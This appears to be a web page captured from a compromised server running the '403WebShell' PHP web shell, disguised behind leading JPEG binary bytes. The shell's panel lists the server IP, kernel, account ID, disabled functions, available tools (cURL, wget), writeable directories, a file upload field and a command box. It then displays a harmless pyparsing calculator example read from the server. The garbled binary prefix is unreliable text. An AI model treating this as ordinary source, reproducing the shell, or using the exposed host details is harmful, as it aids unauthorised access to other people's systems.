JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 185.124.137.225  /  Your IP : 216.73.216.217
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/gsutil/third_party/pyparsing/examples/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/gsutil/third_party/pyparsing/examples/SimpleCalc.py
# SimpleCalc.py
#
# Demonstration of the parsing module,
# Sample usage
#
#     $ python SimpleCalc.py
#     Type in the string to be parse or 'quit' to exit the program
#     > g=67.89 + 7/5
#     69.29
#     > g
#     69.29
#     > h=(6*g+8.8)-g
#     355.25
#     > h + 1
#     356.25
#     > 87.89 + 7/5
#     89.29
#     > ans+10
#     99.29
#     > quit
#     Good bye!
#
#


# Uncomment the line below for readline support on interactive terminal
# import readline
from pyparsing import ParseException, Word, alphas, alphanums

# Debugging flag can be set to either "debug_flag=True" or "debug_flag=False"
debug_flag = False

variables = {}

from fourFn import BNF, exprStack, evaluate_stack

# from fourFn import BNF, exprStack, fn, opn
# def evaluateStack( s ):
#     op = s.pop()
#     if op == 'unary -':
#         return -evaluateStack( s )
#     if op in "+-*/^":
#         op2 = evaluateStack( s )
#         op1 = evaluateStack( s )
#         return opn[op]( op1, op2 )
#     elif op == "PI":
#         return math.pi # 3.1415926535
#     elif op == "E":
#         return math.e  # 2.718281828
#     elif op in fn:
#         return fn[op]( evaluateStack( s ) )
#     elif op[0].isalpha():
#         if op in variables:
#             return variables[op]
#         raise Exception(f"invalid identifier {op!r}")
#     else:
#         return float( op )

arithExpr = BNF()
ident = Word(alphas, alphanums).setName("identifier")
assignment = ident("varname") + "=" + arithExpr
pattern = assignment | arithExpr

if __name__ == "__main__":
    # input_string
    input_string = ""

    # Display instructions on how to quit the program
    print("Type in the string to be parsed or 'quit' to exit the program")
    input_string = input("> ")

    while input_string.strip().lower() != "quit":
        if input_string.strip().lower() == "debug":
            debug_flag = True
            input_string = input("> ")
            continue

        # Reset to an empty exprStack
        del exprStack[:]

        if input_string != "":
            # try parsing the input string
            try:
                L = pattern.parseString(input_string, parseAll=True)
            except ParseException as err:
                L = ["Parse Failure", input_string, (str(err), err.line, err.column)]

            # show result of parsing the input string
            if debug_flag:
                print(input_string, "->", L)
            if len(L) == 0 or L[0] != "Parse Failure":
                if debug_flag:
                    print("exprStack=", exprStack)

                for i, ob in enumerate(exprStack):
                    if isinstance(ob, str) and ob in variables:
                        exprStack[i] = str(variables[ob])

                # calculate result , store a copy in ans , display the result to user
                try:
                    result = evaluate_stack(exprStack)
                except Exception as e:
                    print(str(e))
                else:
                    variables["ans"] = result
                    print(result)

                    # Assign result to a variable if required
                    if L.varname:
                        variables[L.varname] = result
                    if debug_flag:
                        print("variables=", variables)
            else:
                print("Parse Failure")
                err_str, err_line, err_col = L[-1]
                print(err_line)
                print(" " * (err_col - 1) + "^")
                print(err_str)

        # obtain new input string
        input_string = input("> ")

    # if user type 'quit' then say goodbye
    print("Good bye!")

Youez - 2016 - github.com/yon3zu
LinuXploit